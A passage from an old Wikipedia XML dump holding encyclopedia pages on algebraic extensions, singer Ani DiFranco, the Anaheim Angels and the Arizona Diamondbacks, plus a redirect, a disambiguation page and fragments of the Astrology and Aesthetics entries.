*[http://www.lunarcal.org/ http://www.lunarcal.org]
*[http://www.suzannewhite.com/newastrology/index.shtml http://www.suzannewhite.com]
*[http://www.onereed.com/ http://www.onereed.com/]
*[http://www.astrodreamadvisor.com/free_mayan_readings.html# http://www.astrodreamadvisor.com]
*[http://www.chaosastrology.com/ http://www.chaosastrology.com/]
&lt;/div&gt;

&lt;!--- See the Talk page (under Categorisation) before changing this ---&gt;

&lt;!--- See the Talk page (under Categorisation) before changing this: request required and no feedback given: it as always been an Art/Science studied under &quot;esoteric&quot; schools, movements and traditions ---&gt;

&lt;!-- interwiki --&gt;

[[Category:Astrology| ]]
[[Category:Divination]]
[[Category:Esoteric cosmology]]
[[Category:Esotericism]]
[[Category:Prediction]]
[[Category:Pseudoscience]]
[[Category:Superstitions]]

[[ar:تنجيم]]
[[bg:Астрология]]
[[ca:Astrologia]]
[[cs:Astrologie]]
[[da:Astrologi]]
[[de:Astrologie]]
[[el:Αστρολογία]]
[[eo:Astrologio]]
[[es:Astrología]]
[[et:Astroloogia]]
[[fa:ستاره‌بینی]]
[[fi:Astrologia]]
[[fr:Astrologie]]
[[he:אסטרולוגיה]]
[[hr:Astrologija]]
[[hu:Asztrológia]]
[[ia:Astrologia]]
[[id:Astrologi]]
[[it:Astrologia]]
[[ja:占星術]]
[[ko:점성술]]
[[lt:Astrologija]]
[[nl:Astrologie]]
[[no:Astrologi]]
[[pl:Astrologia]]
[[pt:Astrologia]]
[[ro:Astrologie]]
[[ru:Астрология]]
[[sa:फलज्योतिषं]]
[[sk:Astrológia]]
[[sl:Astrologija]]
[[sr:Астрологија]]
[[sv:Astrologi]]
[[th:โหราศาสตร์]]
[[zh:占星学]]</text>
    </revision>
  </page>
  <page>
    <title>Abyssinia</title>
    <id>2123</id>
    <revision>
      <id>28313713</id>
      <timestamp>2005-11-14T17:20:23Z</timestamp>
      <contributor>
        <username>Abby t</username>
        <id>579828</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Ethiopia]]</text>
    </revision>
  </page>
  <page>
    <title>Algebraic extension</title>
    <id>2125</id>
    <revision>
      <id>24413899</id>
      <timestamp>2005-09-30T17:34:42Z</timestamp>
      <contributor>
        <username>Unyoyega</username>
        <id>460372</id>
      </contributor>
      <minor />
      <comment>+: fr</comment>
      <text xml:space="preserve">In [[abstract algebra]], a [[field extension]] ''L'' /''K'' is called '''algebraic''' if every element of ''L'' is [[algebraic element|algebraic]] over ''K'', i.e. if every element of ''L'' is a [[root (mathematics)|root]] of some non-zero [[polynomial]] with coefficients in ''K''. 
Field extensions which are not algebraic, i.e. which contain [[transcendental element]]s, are called '''transcendental'''.

For example, the field extension [[real number|'''R''']]/[[rational number|'''Q''']] is transcendental, while the field extensions [[complex number|'''C''']]/'''R''' and '''Q'''(&amp;radic;2)/'''Q''' are algebraic.

If ''L'' is regarded as a [[vector space]] over ''K'', one can consider its [[dimension of a vector space|dimension]] as such. This dimension is also called the '''degree''' of the extension. The extension ''L/K'' can then be further classified as a '''finite''' or '''infinite''' extension according to this dimension. All transcendental extensions are of infinite degree. This in turn implies that all finite extensions are algebraic. 

The converse is not true however: there are infinite extensions which are algebraic. For instance, the field of all [[algebraic number]]s is an infinite algebraic extension of the rational numbers.

If ''a'' is algebraic over ''K'', then ''K''[''a''], the set of all polynomials in ''a'' with coefficients in ''K'', is a field. It is an algebraic field extension of ''K'' which has finite degree over ''K''. In the special case where ''K''='''Q''' is the [[rational number|field of rational numbers]], '''Q'''[''a''] is an example of an [[algebraic number field]].

A field with no proper algebraic extensions is called
[[algebraically closed field|algebraically closed]]. An example is the field of [[complex number]]s.
Every field has an algebraic extension which is algebraically closed (called its [[algebraic closure]]), but proving this in general requires
some form of the [[axiom of choice]].

==Generalizations==

[[Model theory]] generalizes the notion of algebraic extension to arbitrary
theories: an embedding of M into N is called an '''algebraic extension''' if for 
every ''x'' in N there is a formula ''p'' with parameters in M, such that
''p''(''x'') is true and the set 

:{''y'' in ''N'' | ''p''(''y'')}

is finite. It turns
out that applying this definition to the theory of fields gives the
usual definition of algebraic extension. The [[Galois group]] of N
over M can again be defined as the group of automorphisms, and it turns out
that most of the theory of Galois groups can be developed for 
the general case.

See also:
* [[Abstract algebra]]
* [[Field (mathematics)|Field]]
* [[Vector space]]
* [[Galois theory]]
* [[Algebraic number]]
* [[Algebraically closed field]]
[[Category:Abstract algebra]]
[[Category:Algebra]]

[[de:Algebraische Erweiterung]]
[[es:Extensión algebraica]]
[[fr:Extension algébrique]]
[[it:Estensione algebrica]]</text>
    </revision>
  </page>
  <page>
    <title>Ani DiFranco</title>
    <id>2126</id>
    <revision>
      <id>42138171</id>
      <timestamp>2006-03-04T01:52:55Z</timestamp>
      <contributor>
        <username>Catamorphism</username>
        <id>313650</id>
      </contributor>
      <comment>/* Biography */ Link to more info on Meldrum -- I hadn't heard of him before, anyway</comment>
      <text xml:space="preserve">[[Image:Ads.jpg|thumb|225 px|Ani DiFranco]]

'''Ani DiFranco''' ([[International Phonetic Alphabet|IPA]]: ɑ-ni) (born '''Angela Marie Difranco''' on [[September 23]], [[1970]]) is a [[singer]], [[guitarist]], and [[songwriter]]. DiFranco is prolific, having produced three studio albums of new material and one remix album just in 1999 (see list below). She has released at least one album every year since 1990, with the exception of 2000 (perhaps because she released three albums in 1999 and a double album in 2001.) 

==Biography==

Born in [[Buffalo, New York]] to a [[Jewish American]] mother and an [[Italian-American]] father, DiFranco, the daughter of two folk music loving parents, started playing Beatles' covers at local bars with her guitar teacher ([http://www.righteousbabe.com/store/prod_albums.asp?id=473 Michael Meldrum]) at the age of nine,  and built her career from there. 

By the time she was fifteen, her family life imploded.  At this time, she moved out on her own, supporting herself mainly by her vocal performances, but still managed to graduate from [[The Buffalo Academy for Visual and Performing Arts]] school.

In 1989, at the age of eighteen, DiFranco started her own record company, [[Righteous Babe Records]], with just $50, and recorded ''[[Ani DiFranco (album)|Ani DiFranco]]'', issued in the winter of 1990. Later on she relocated to [[New York, New York|New York City]] and [[tour]]ed vigorously. 

She is openly [[bisexuality|bisexual]] and, in 1998, [[marriage|married]] [[sound engineer]] Andrew Gilchrist. They separated five years later but remain friends.  

DiFranco is currently taking time off from touring due to [[tendonitis]].

DiFranco's father died early in the summer of 2005; however she continued her summer tour as a legacy to him.

==Musical style and the &quot;folk&quot; label==

Many have noted a signature [[staccato]] style to DiFranco's work [http://folkmusic.about.com/od/artistsaz/p/AniD_profile.htm], [http://www.westnet.com/consumable/1997/06.11/revani.html]. Another important aspect is her skill in rapid [[fingerpicking]] and generally high ability on the acoustic guitar&amp;mdash;notably in the song &quot;Out of Range&quot;, appearing on the [[eponym]]ous [[Out of Range|album]]. Her lyrics have also received praise for their sophistication: [[alliteration]] (and wordplay in general) is an important component, and a more or less gentle [[irony]] fills many of her songs&amp;mdash;especially those that deal with the intersection of the [[personal]] and [[Politics|political]]. She is known for her descriptive use of [[metaphors]].  She delivers many of her lines in a speaking style notable for its rhythmic variation. The song &quot;Talkin' Ani DiFranco's Mom Blues,&quot; a [[talking blues]] song by [[Dan Bern]], strings together some of the most memorable lines from DiFranco's early career for comic effect.

DiFranco's music has been classified as [[folk rock]] and [[alternative rock]], but since her early albums she has reached across genres, having collaborated with a wide range of artists including the [[pop music]]ian [[Prince (artist)|Prince]], the folk musician [[Utah Phillips]], and both [[Maceo Parker|Maceo]] and [[Corey Parker]]. In various songs and albums, she has used a variety of [[musical instrument|instrument]]s as well as styles&amp;mdash;from [[brass instrument|brass]], notably in 1998's ''[[Little Plastic Castle]]'', and [[string instrument|strings]], particularly noticeable on the live album ''[[Living in Clip]]'' and her latest studio recording, ''[[Knuckle Down]]''. 

Regarding the &quot;folk&quot; label often applied, sometimes in qualified form, to her music, DiFranco has noted (in an interview with ''Pavement Magazine'') that &quot;folk music is not an acoustic guitar--that's not where the heart of it is. I use the word 'folk' in reference to punk music and rap music. It's an attitude, it's an awareness of one's heritage, and it's a community. It's subcorporate music that gives voice to different communities and their struggle against authority.&quot;

==Lyrics and politics==

Much of DiFranco's material is autobiographical, in the personal lyric tradition of the singer-songwriter. Much of her material is also strongly political, concerned with contemporary social issues such as [[racism]], [[sexism]], [[sexual abuse]], [[homophobia]], [[reproductive rights]], [[poverty]], and [[war]]. The combination of these two characteristics is partially responsible for the early popularity DiFranco enjoyed among politically active college students, some of whom set up [[Fan (aficionado)|fan pages]] on the [[World Wide Web|web]] to document her career as early as 1994. Because of DiFranco's rapid rise in popularity in the mid-1990s&amp;mdash;a rise that, with little [[Mainstream media|mainstream press]], was fueled by personal contact and word of mouth&amp;mdash;fans often expressed a feeling of community with each other.

DiFranco has expressed political views outside of her music. During the [[U.S. presidential election, 2000|2000 U.S. presidential election]], she encouraged voting for [[Ralph Nader]] in non-[[swing state|battleground states]]. She supported [[Dennis Kucinich]] in the 2004 Democratic primaries.

==Label independence==

The success of her [[record label]], [[Righteous Babe Records]] (RBR), is also notable. Ownership of RBR allows DiFranco a great deal of artistic freedom, including the ability to release as much, and as often, as she has, and to include controversial material and language. References to her independence from major labels appear occasionally in her songs, most notably in &quot;The Million You Never Made,&quot; which discusses the act of turning down a lucrative contract, &quot;The Next Big Thing&quot;, a song from the early [[Not So Soft|''Not So Soft'']] album which describes an imagined meeting with a label headhunter who evaluates the singer based on her looks, and &quot;Napoleon,&quot; on the album ''[[Dilate|Dilate]]'', which sympathises sarcastically with an unnamed friend who did sign with a label. A longstanding rumor, apparently begun by [[Spin Magazine]] in 1997, suggests that the friend addressed in &quot;Napoleon&quot; is the musician [[Suzanne Vega]]; Vega herself has denied this [http://groups-beta.google.com/group/rec.music.artists.ani-difranco/msg/f8cf4eef04c30307?dmode=source&amp;hl=en].

DiFranco has occasionally joined with [[Prince (artist)|Prince]] in discussing publicly the problems associated with major record companies. DiFranco is proud of her label, which employs a number of people in her hometown of Buffalo.  In a 1997 open letter to [[Ms. magazine]] [http://www.columbia.edu/~marg/ani/letter.html] she expressed displeasure that what she sees as a way to ensure her own artistic freedom, was seen by others solely in terms of its financial success.

==Recent work==

''[[Educated Guess]]'', was released on [[January 20]], [[2004]]. According to the Righteous Babe website, &quot;not since the release of her second album back in 1991 has Ani been quite as much a solo act as she is on ''[[Educated Guess]]''.&quot;[http://www.righteousbabe.com/ani/educated_guess/more_info.asp] The only other person involved in the record was Greg Calbi, who mastered it.  DiFranco did all the performance and recording herself at home, and was involved in much of the artwork and design for the packaging.

A new album, ''[[Knuckle Down]]'', was released on [[January 25]], [[2005]]. On [[July 22]], [[2005]], Righteous Babe announced by e-mail that DiFranco has developed a case of [[tendonitis]] and will take a one-year hiatus from touring, returning to the road in the summer of 2006. DiFranco had toured almost continuously in the preceding fifteen years, taking brief breaks to record studio albums. Her 2005 tour concluded with an appearance at the [[FloydFest]] [[World Music]] and genre [[Crossover (music)|crossover]] festival in [[Floyd, Virginia]].

DiFranco's former drummer, [[Andy Stochansky]], has pursued a solo career as a singer-songwriter since leaving DiFranco's band.

DiFranco performed with [[Cyndi Lauper]] on Lauper's latest collection, ''The Body Acoustic''.  She also performed with fellow folk singer [[Dar Williams]] on her recent album, &quot;My Better Self&quot;.



==Guitar Tunings==

Ani DiFranco is well-known in guitar player circles as an artist that uses a plethora of alternate tunings. Here is a partial list of alternate tunings she has employed in her music:

Standard 6-string Tunings:
* G#FA#D#GC: Bliss Like This, Raincheck (live)
* AF#BEG#C#: Raincheck (studio version)
* AADGAD: Dilate
* BF#C#F#BB: Your Next Bold Move (studio version)
* CFA#D#GG#: Callous, Parameters
* CFA#D#GA#: Sunday Morning
* CFA#D#GC: Manhole, Studying Stones, Wish I May
* CGDGCC: Your Next Bold Move (live)
* CGCFGC: Phase (studio version)
* CADGCC: Garden of Simple, So What, Subdivision
* C#F#BEG#C#: Swim (studio version)
* DACF#AD: Evolve
* DACGAD: Two Little Girls
* DACGBD: Letter to a John
* DADF#GD: Lag Time, Paradigm, Seeing Eye Dog
* DADF#AD: Anticipate (studio version)
* DADGAF: Hello Birmingham
* DADGBB: Bubble
* DADGBE: Everest
* DADGCC: Ain't That the Way
* EADGAD: Shameless
* EADGAE: Do Re Me, Recoil, Worthy
* EADGBC: Back Back Back (studio version)
* EADGBD: The Diner
* EADGCE: Nicotene
* EBBF#BE: 'Tis of Thee, Angry Anymore
* EBBGAD: Shy
* EBBGBD: Cradle and All, Done Wrong, Not a Pretty Girl
* EEEGAE: Jukebox
* FADGAE: Pixie, Swan Dive
* GGCGCD: Out of Range

Baritone Guitar Tunings:
* A#FA#D#G#G#: Grey
* A#F#A#D#F#C: Millennium Theater, School Night
* BEADF#G: Back Back Back (live)
* CGA#D#GA#: Slide
* C#FA#D#FC: Imagine That

Tenor Guitar Tunings:
* ADAD: Little Plastic Castle, Loom

==Discography==
===Studio albums===
* 1990 - ''[[Ani DiFranco (album)|Ani DiFranco]]''
* 1991 - ''[[Not So Soft]]''
* 1992 - ''[[Imperfectly]]''
* 1993 - ''[[Puddle Dive]]''
* 1994 - ''[[Out of Range]]''
* 1995 - ''[[Not a Pretty Girl]]''
* 1996 - ''[[Dilate]]''
* 1996 - ''[[The Past Didn't Go Anywhere]]'' (with [[Utah Phillips]])
* 1998 - ''[[Little Plastic Castle]]''
* 1999 - ''[[Up Up Up Up Up Up]]''
* 1999 - ''[[Fellow Workers]]'' (with Utah Phillips)
* 1999 - ''[[To the Teeth]]''
* 2001 - ''[[Revelling/Reckoning]]''
* 2003 - ''[[Evolve (album)|Evolve]]''
* 2004 - ''[[Educated Guess]]''
* 2005 - ''[[Knuckle Down]]''

===Compilation albums===
* 1993 - ''[[Like I Said: Songs 1990-91]]'' [http://www.mmguide.musicmatch.com/album/album.cgi?ALBUMID=476160&amp;AMGLENGTH=full#review]

===Live albums===
* 1994 - ''[[Women in (E)motion]]'' (limited distribution)
* 1994 - ''[[An Acoustic Evening With]]''
* 1997 - ''[[Living in Clip]]''
* 2002 - ''[[So Much Shouting, So Much Laughter]]''
* 2004 - ''[[Atlanta - 10.9.03]]''
* 2004 - ''[[Sacramento - 10.25.03]]''
* 2004 - ''[[Portland - 4.7.04]]''
* 2005 - ''[[Boston - 11.16.03]]''
* 2005 - ''[[Chicago - 1.17.04]]''
* 2005 - ''[[Madison - 1.25.04]]''
* 2005 - ''[[Rome - 11.15.04]]''

===EPs===
* 1996 - ''[[More Joy, Less Shame]]''
* 1999 - ''[[Little Plastic Remixes]]'' (limited distribution)
* 2000 - ''[[Swing Set]]''

===Demos===
* 1989 - ''[[Demo tape (Ani DiFranco)|Demo tape]]'' (unreleased)

==Samples==
{{multi-listen start}}
{{multi-listen item|filename=Napoleon.ogg|title=&quot;Napoleon&quot;|description=from ''[[Dilate]]''|format=[[Ogg]]}}
{{multi-listen item|filename=Little Plastic Castle.ogg|title=&quot;Little Plastic Castle&quot;|description=from ''[[Little Plastic Castle]]''|format=[[Ogg]]}}
{{multi-listen end}}

==See also==
* [[Righteous Babe Records]]
* [[List of Righteous Babe Artists]]
* [[:Category:Righteous Babe Artists]]

==External links==
{{wikiquote}}
* [http://www.righteousbabe.com/ The Righteous Babe homepage]
* [http://www.onherown.net/ On-Her-Own-dot-net, a community of Ani lovers.] Has an active message board. Named after the Righteous Babe Records phone number: 1-800-ON-HER-OWN.
* [http://www.danah.org/ani/ A collection of Ani DiFranco lyrics collected by a longtime fan]
* [http://www.hourfollowshour.org/ A streaming Ani radio station]
* [http://www.columbia.edu/~marg/ani/ &quot;Marg's&quot; Ani DiFranco page] The first DiFranco fanpage, posted in 1994.
* {{imdb name|id=0226459|name=Ani DiFranco}}
* [http://www.floydfest.com/2005/perform.php?dir_id=2 Ani at FloydFest 2005]
* [http://www.fretsmag.com/story.asp?sectioncode=52&amp;storycode=8649 Frets magazine profile]
* [http://www.pavementmagazine.com/ani_difranco.html Pavement magazine profile]
* [http://www.npr.org/programs/asc/archives/asc53/index.html#difranco Ani DiFranco on NPR's  ''All Song's Considered'']
* [http://www.npr.org/templates/story/story.php?storyId=4818696 Ani DiFranco on NPR's  ''World Cafe'']
* [http://www.bbc.co.uk/radio2/r2music/folk/reviews/evolve.shtml BBC review of  ''Evolve'']
* [http://www.squidoo.com/anidifranco/ Ani Difranco on Squidoo]

[[Category:1970 births|DiFranco, Ani]]
[[Category:Living people|DiFranco, Ani]]
[[Category:American composers|DiFranco, Ani]]
[[Category:American female singers|DiFranco, Ani]]
[[Category:American guitarists|DiFranco, Ani]]
[[Category:American singer-songwriters|DiFranco, Ani]]
[[Category:Anti-corporate activism|DiFranco, Ani]]
[[Category:Anti-war people|DiFranco, Ani]]
[[Category:Atheists|DiFranco, Ani]]
[[Category:Bisexual musicians|DiFranco, Ani]]
[[Category:Female guitarists|DiFranco, Ani]]
[[Category:Feminists|DiFranco, Ani]]
[[Category:Feminist artists|DiFranco, Ani]]
[[Category:Folk singers|DiFranco, Ani]]
[[Category:Gay icons|DiFranco, Ani]]
[[Category:Italian-Americans|DiFranco, Ani]]
[[Category:Jewish-American singers|DiFranco, Ani]]
[[Category:Musical activists|DiFranco, Ani]]
[[Category:New York musicians|DiFranco, Ani]]
[[Category:Pro-choice celebrities|DiFranco, Ani]]
[[Category:Righteous Babe Artists|DiFranco, Ani]]
[[Category:People from Buffalo, New York]]

[[de:Ani DiFranco]]
[[es:Ani DiFranco]]
[[fr:Ani DiFranco]]
[[it:Ani DiFranco]]</text>
    </revision>
  </page>
  <page>
    <title>Arene</title>
    <id>2127</id>
    <revision>
      <id>41209698</id>
      <timestamp>2006-02-25T20:26:15Z</timestamp>
      <contributor>
        <ip>24.192.147.217</ip>
      </contributor>
      <text xml:space="preserve">'''Arene''' or '''Arênê''' or '''Arène''' means several things:

* Another term for [[aromatic hydrocarbon]]
*In [[Greek mythology]], '''[[Arene (mythology)|Arene]]''' was the wife of [[Aphareus]] and mother of [[Idas]] and [[Lynceus]].
* A french [[surname]] of the [[Provence]] region with the same origin as the Spanish [[Arenas]] and Italian [[Areno]], all derived from the Latin root word [[(h)arena]], meaning [[sand]].  By family tradition, the sand in question was that of the [[Roman]] [[arena]] (or [[colosseum]]), thus making the original bearer a [[gladiator]].  More likely, however, the name simply signifies a person who lived on or near sand, such as on a [[beach]].     

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Anaheim Angels</title>
    <id>2128</id>
    <revision>
      <id>40354331</id>
      <timestamp>2006-02-20T00:38:41Z</timestamp>
      <contributor>
        <username>Neier</username>
        <id>430157</id>
      </contributor>
      <comment>Add cat to uncategorized article</comment>
      <text xml:space="preserve">[[Image:ANA_487.jpg|right|250px|Anaheim Angels logo]]
&quot;'''Anaheim Angels'''&quot; was the former name of the [[Los Angeles Angels of Anaheim]], a [[Major League Baseball]] franchise based in [[Anaheim, California]], and aligned in the Western Division of the [[American League]]. The team, originally based in [[Los Angeles, California|Los Angeles]] and known as the '''Los Angeles Angels''', began play in 1961.  During the 1965 season, the club changed its name to the '''California Angels'''.  The team moved to Anaheim in 1966.  The team changed its name again in 1997, to the '''Anaheim Angels''', to comply with a clause in the team's stadium lease requiring that the team name &quot;include the name Anaheim therein.&quot;

On [[January 3]], [[2005]] Angels Baseball, L.P. announced that it would change the name of the club from the Anaheim Angels to the '''Los Angeles Angels of Anaheim'''. As stated in the club's 2005 media guide: &quot;The inclusion of Los Angeles reflects the original expansion name and returns the Angels as Major League Baseball's American League representative in the [[Greater Los Angeles]] territory.&quot; The change, Angels officials claimed, was compliant to the lease agreement.  

The City of Anaheim, the owner of [[Angel Stadium]], felt the new name to be a violation of the intent, if not the precise letter, of the naming clause of the lease agreement by club ownership.  Infuriated Anaheim city leaders filed suit against Angels Baseball, L.P. in [[Orange County, California|Orange County Superior Court]], claiming the team violated its lease with the City of Anaheim.  The city asked that the team name revert to Anaheim Angels and requested monetary damages for lost revenues to the city as a result of the name change.  The trial, initially set for [[November 7]], [[2005]], was postponed until [[January 9]], [[2006]].

On [[February 9]], [[2006]], the jury in the case found in favor of the team, allowing it to keep the name &quot;Los Angeles Angels of Anaheim,&quot; and denied the city any monetary compensation.  Although a final decision has not yet been made, Anaheim city officials have indicated that it is unlikely that the city will attempt to [[appeal]] the decision.

====See Also====
:''Complete history of the franchise: [[Los Angeles Angels of Anaheim]]
{{main|Los Angeles Angels of Anaheim name dispute}}
[[Category:Anaheim Angels]]</text>
    </revision>
  </page>
  <page>
    <title>Arizona Diamondbacks</title>
    <id>2129</id>
    <revision>
      <id>41827877</id>
      <timestamp>2006-03-02T00:27:26Z</timestamp>
      <contributor>
        <ip>204.155.161.143</ip>
      </contributor>
      <text xml:space="preserve">{{MLB infobox Diamondbacks}}

The '''Arizona Diamondbacks''' are a [[Major League Baseball]] team based in [[Phoenix, Arizona]]. They are in the  [[National League]] West division. They are popularly referred in the local press as the '''D-Backs''' or the '''Snakes'''.

== Franchise history ==

'''The desire for baseball in the desert'''

In the fall of 1993, [[Jerry Colangelo]], owner of the [[Phoenix Suns]], the area's wildly popular and successful [[NBA]] franchise, announced he was assembling an ownership group to apply for a Major League Baseball expansion team. This was after a great deal of lobbying by the [[Maricopa County Sports Authority]], a local group formed to preserve spring training in Arizona and eventually secure a Major League franchise for the state. This group was headed at the time by sports attorney [[Joe Garagiola, Jr.]] (Garagiola would go on to become the team's first general manager). Maricopa County superviors [[Jim Bruner]] and [[Mary Rose Wilcox]] were also key proponents of baseball in Phoenix, aligning themselves with Garagiola's group. A firestorm of local controversy was the result. Many area residents did not want public tax money used for a sports team. However, just as many residents felt that by the early 1990's, Phoenix had finally &quot;arrived&quot; as a major American city and deserved a Major League Baseball team.

All this was after a previous attempt was mounted by [[Martin Stone]], owner of the [[Phoenix Firebirds]], the city's [[Triple-A]] minor league baseball team and an affiliate of the [[San Francisco Giants]]. In the late 1980's Stone approached [[Arizona Cardinals|St. Louis (football) Cardinals]] owner Bill Bidwill about sharing a proposed 70,000 seat domed stadium in Phoenix; Bidwill, with plans already in the works to leave St. Louis, opted instead to sign a long term lease with [[Arizona State University]] to use its [[Sun Devil Stadium]] as the home of his soon-to-be Arizona based NFL franchise, thus ending Stone's bid.

Colangelo's group was ultimately successful. On March 9, 1995, the city of [[Phoenix, Arizona|Phoenix]] was awarded the Arizona Diamondbacks franchise for play beginning in the 1998 season, along with plans for a new retractable-roof ballpark, Bank One Ballpark (renamed in 2005 to [[Chase Field]]) to be built in an industrial/warehouse district on the southern edge of downtown Phoenix.

The name &quot;Diamondbacks&quot; was the winning choice in a name-the-team contest sponsored by Colangelo's group, which took out a full page ad promoting the contest in the sports section of the Feburary 13, 1995 edition of the [[Arizona Republic]]. (The group was known as &quot;Arizona Baseball, Inc.&quot; and seemed reasonably confident that a franchise would be awarded.) First prize was a pair of lifetime season tickets awarded to the person who submitted the winning entry.

As noted above, there was some controversy over public financing of a new stadium, but in the spring of 1994, the [[Maricopa County]] Board of Supervisors approved a quarter-cent increase in the county sales tax to pay for their portion of the stadium funding.

The Diamondbacks replaced the [[Phoenix Firebirds|Firebirds]], as that team was obligated to leave Phoenix soon after the Diamondbacks announcement, and is now the [[San Francisco Giants]] AAA affiliate, the [[Fresno Grizzlies]]. 

Two seasons before their first opening day, Colangelo hired [[Buck Showalter]], the American League Manager of the Year in 1994 with the [[New York Yankees]].

Their lower level minor league teams began play in 1997; the expansion draft was held that year as well. 



'''Early success and a World Series championship'''

The Diamondbacks' first major league game was played against the [[Colorado Rockies]] on [[March 31]], [[1998]], at [[Chase Field]] (then known as Bank One Ballpark). The Rockies won, 9-2, with [[Andy Benes]] on the mound for the Diamondbacks, and [[Travis Lee]] being the first player to hit, score, homer and drive in a run. Over 50,000 fans were in attendance.

In their first five seasons of existence, the Diamondbacks won three division titles (1999, [[2001]], &amp; 2002) and one [[World Series]]. In 1999, Arizona won over 100 games in only its second season to win the [[National League]] West division. They lost to the [[New York Mets]] in the first round of playoffs.

Colangelo fired Showalter after a relatively disappointing 2000 season, and replaced him with [[Bob Brenly]], the former Giants catcher and coach, who had up to that point been working as a color analyst on Diamondbacks television broadcasts.

In 2001, the team was led by two of the most dominant pitchers in all of baseball: [[Randy Johnson]] and [[Curt Schilling]]. Arizona had postseason victories over the [[St. Louis Cardinals]] (3-2 in the [[National League Division Series|NLDS]]) and the [[Atlanta Braves]] (4-1 in the [[National League Championship Series|NLCS]]) to advance to the World Series where, in one of the most exciting series ever, they beat the reigning champions, the [[New York Yankees]], 4 to 3, to become the youngest expansion franchise to win the championship. 

An estimated crowd of 300,000 celebrated at the Diamondbacks victory parade, held at Bank One Ballpark and the surrounding downtown Phoenix streets on November 7, 2001. This was the first major professional sports championship for the state of Arizona and the first for a team (in the four major North American professional sports leagues) owned or controlled by Colangelo, whose basketball Suns made it to the [[NBA Finals]] in [[1976 NBA Finals|1976]] and [[1993 NBA Finals|1993]] but lost both times. (Colangelo's [[Arizona Rattlers]] won the [[Arena Football League]] championship in 1994 and 1997.)

For a detailed look at the 2001 series please see [[2001 World Series]].



'''Tough times and the end of the Colangelo era'''

By the 2004 season, however, the Diamondbacks had dropped to a dismal 51-111 record, the worst in [[Major League Baseball]] that year, despite [[Randy Johnson|Johnson]] pitching a [[perfect game]] on [[May 18]] of that season. [[Bob Brenly|Brenly]] was fired partway through the season and was replaced on an interim basis by coach [[Al Pedrique]].  

By this time Colangelo and the other partners were embroiled in a dispute over the financial health and direction of the Diamondbacks. He resigned his managing general partner post in the late summer of 2004.

Colangelo sold his controlling interest in the Arizona Diamondbacks team to a new group of investors lead by [[Jeff Moorad]], a former sports agent with several MLB players as clients, including key members of the Diamondbacks. Moorad was subsequently named CEO of the team and became its primary public face.

Following the 2004 season, the Diamondbacks also hired [[Wally Backman]] to be the team's manager.  Backman was formerly manager of the Class A [[California League]] [[Lancaster JetHawks]], one of the Diamondbacks' [[minor-league baseball|minor-league]] affilliates. Backman was fired after management learned of legal troubles and improprieties in Backman's past, and former [[Seattle Mariners]] manager and Giants catcher [[Bob Melvin]] became the new manager after a ten-day tenure for Backman.

Following the Backman incident, the Diamondbacks spent heavily on free agents in order to build a contender.  The club signed 3B [[Troy Glaus]], P [[Russ Ortiz]], SS [[Royce Clayton]], and 2B [[Craig Counsell]], among others. Then, they traded [[Randy Johnson]] to the [[New York Yankees|Yankees]], while acquiring [[Javier Vazquez]], [[Brad Halsey]] and [[Shawn Green]] in a three-team trade that included the [[Los Angeles Dodgers|Dodgers]], and sent [[Shea Hillenbrand]] to the [[Toronto Blue Jays|Blue Jays]].  Finally, they traded [[Casey Fossum]] to the [[Tampa Bay Devil Rays|Devil Rays]] for [[José Cruz, Jr.]].

The Diamondbacks, led by Melvin, finished the 2005 season with a disappointing record of 77 wins and 85 losses. However, this was actually good enough for second place in the woefully weak NL West, five games behind the [[San Diego Padres]]. 

The Diamondbacks were considered by some to be the favorite to win the division after spending big money on the aforementioned free agents; however, injuries hurt the team's chances of reaching its expected potential.

Starting pitcher [[Russ Ortiz|Ortiz]] was out for some time which really hurt the pitching staff. [[Troy Glaus|Glaus]] played with a hurt knee all season. Of all the free agents that signed before the season, no one had a better season than first baseman [[Tony Clark]]. Clark started the season as a bench player and ended the season starting and being an important part of the team. Clark was rewarded with a new contract at the end of the season.

In [[October]] [[2005]] the Diamondbacks hired 35 year old [[Josh Byrnes]] to replace the out-going Joe Garagiola, Jr. as [[General Manager]]. Garagiola took a position in [[Major League Baseball]]'s main offices in New York City.

==Current events==

'''Off-season moves and propsects for the 2006 season'''

Section coming soon.

==Quick facts==
:'''Founded:''' 1998 ([[National League]] expansion)
:'''Uniform colors:''' Purple, Teal, Black, and Copper
:'''Logo design:'''  an &quot;A&quot; with one leg of the &quot;A&quot; alternating triangles to suggest a [[Western Diamondback Rattlesnake]].  An alternate logo is a script &quot;D&quot; in the shape of a snake.
:'''Playoff appearances''' (3): 1999, [[2001]], [[2002]]
:'''General Manager''' [[Josh Byrnes]]

==[[Baseball Hall of Fame]]rs==
*''none''

==Retired Numbers==
None, although the team has not reissued the number 38 of [[Curt Schilling]] or the number 51 of [[Randy Johnson]] since they left.

==Current roster==
{{:Arizona Diamondbacks roster}}

==Minor league affiliations==
* '''AAA:''' [[Tucson Sidewinders]], [[Pacific Coast League]]
* '''AA:''' [[Tennessee Smokies]], [[Southern League]]
* '''Advanced A:''' [[Lancaster JetHawks]], [[California League]]
* '''A:''' [[South Bend Silver Hawks]], [[Midwest League]]
* '''Short A:''' [[Yakima Bears]], [[Northwest League]]
* '''Rookie:''' [[Missoula Osprey]], [[Pioneer League]]

==See also==
*[[Arizona Diamondbacks/Award winners and league leaders|Diamondbacks award winners and league leaders]]
*[[Arizona Diamondbacks/Team records|Diamondbacks statistical records and milestone achievements]]
*[[Arizona Diamondbacks/Players of note|Diamondbacks players of note]]
*[[Arizona Diamondbacks/Broadcasters|Diamondbacks broadcasters and media]]
*[[Arizona Diamondbacks/Managers and ownership|Diamondbacks managers and ownership]]

== External links ==
*[http://arizona.diamondbacks.mlb.com/NASApp/mlb/ari/homepage/ari_homepage.jsp Arizona Diamondbacks official web site]
*[http://www.dbackfans.com Unofficial Fan site for the Arizona Diamondbacks]
*[http://www.azsnakepit.com AZ Snake Pit - an Arizona Diamondbacks blog]

{{MLB Team Arizona Diamondbacks}}
{{MLB}}

[[Category:Arizona Diamondbacks|*]]
[[Category:Major League Baseball teams]]

[[de:Arizona Diamondbacks]]
[[fr:Diamondbacks de l'Arizona]]
[[ja:アリゾナ・ダイヤモンドバックス]]
[[pt:Arizona Diamondbacks]]
[[sv:Arizona Diamondbacks]]
[[zh:亞利桑那響蛇尾]]</text>
    </revision>
  </page>
  <page>
    <title>Aesthetics</title>
    <id>2130</id>
    <revision>
      <id>41961108</id>
      <timestamp>2006-03-02T22:19:29Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
